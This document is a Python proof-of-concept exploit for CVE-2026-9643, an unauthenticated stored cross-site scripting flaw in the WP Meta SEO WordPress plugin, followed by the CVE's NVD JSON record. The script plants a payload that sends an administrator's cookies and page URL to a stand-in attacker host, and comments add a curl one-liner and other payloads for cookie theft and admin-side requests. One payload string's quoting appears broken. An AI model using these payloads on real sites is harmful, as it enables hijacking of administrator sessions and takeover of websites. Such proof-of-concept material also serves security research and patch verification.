CVE-2026-9643

# CVE-2026-9643 - WP Meta SEO Stored XSS Proof of Concept # Vulnerability: Unauthenticated Stored XSS via REQUEST_URI in wpmsTemplateRedirect() # Affected: WP Meta SEO <= 4.5.18 import requests TARGET_URL = "http://target-wordpress-site.com" ATTACKER_SERVER = "http://attacker.com/steal" # Craft a malicious URL containing XSS payload in the REQUEST_URI # The payload will be stored in wp_wpms_links.link_url column # and executed when admin views /wp-admin/admin.php?page=metaseo_broken_link xss_payload = ( f"/<script>" f"var img=new Image();" f"img.src='{ATTACKER_SERVER}?cookie='+document.cookie+"&url="+window.location.href;" f"</script>" ) # Send unauthenticated request to trigger 404 and store XSS payload target_endpoint = f"{TARGET_URL}{xss_payload}" print(f"[*] Sending malicious request to: {target_endpoint}") try: # No authentication required (PR:N) response = requests.get(target_endpoint, timeout=10) print(f"[*] Response status: {response.status_code}") print("[+] XSS payload successfully stored in database!") print("[*] Payload will execute when admin visits the broken link page:") print(f" {TARGET_URL}/wp-admin/admin.php?page=metaseo_broken_link") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative: Using curl # curl -X GET "http://target.com/<script>document.location='http://attacker.com/?c='+document.cookie</script>" # # Alternative XSS payloads: # 1. Cookie theft: # /<script>new Image().src='http://attacker.com/?c='+document.cookie</script> # 2. Admin action CSRF: # /<script>fetch('/wp-admin/user-new.php',{method:'POST',body:new FormData()})</script> # 3. WordPress admin redirect: # /"><script>alert(document.domain)</script>

{"cve": {"id": "CVE-2026-9643", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:30.093", "lastModified": "2026-06-25T13:26:11.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Meta SEO plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the REQUEST_URI server variable in all versions up to, and including, 4.5.18. When the plugin's `wpmsTemplateRedirect()` hook detects a 404, it concatenates `$_SERVER['HTTP_HOST']` with the raw `$_SERVER['REQUEST_URI']` and inserts that value verbatim into the `wp_wpms_links.link_url` column via `$wpdb->insert()`. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute whenever an administrator views the plugin's 404 & Redirects admin page (`/wp-admin/admin.php?page=metaseo_broken_link`)."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "joomunited", "product": "WP Meta SEO", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "4.5.18", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-meta-seo/tags/4.5.18/inc/class.metaseo-broken-link-table.php#L894", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-meta-seo/tags/4.5.18/wp-meta-seo.php#L1135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-meta-seo/tags/4.5.18/wp-meta-seo.php#L1171", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/wp-meta-seo/tags/4.5.12&new_path=/wp-meta-seo/tags/4.5.13", "source": "[email protected]"}, {"url": "https://ti.wordfence.io/vulnerabilities/ca91e41d-b728-4eb0-86d5-043813d8c2c1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/beceb218-34bf-4571-a07b-939abc7ead8e?source=cve", "source": "[email protected]"}]}}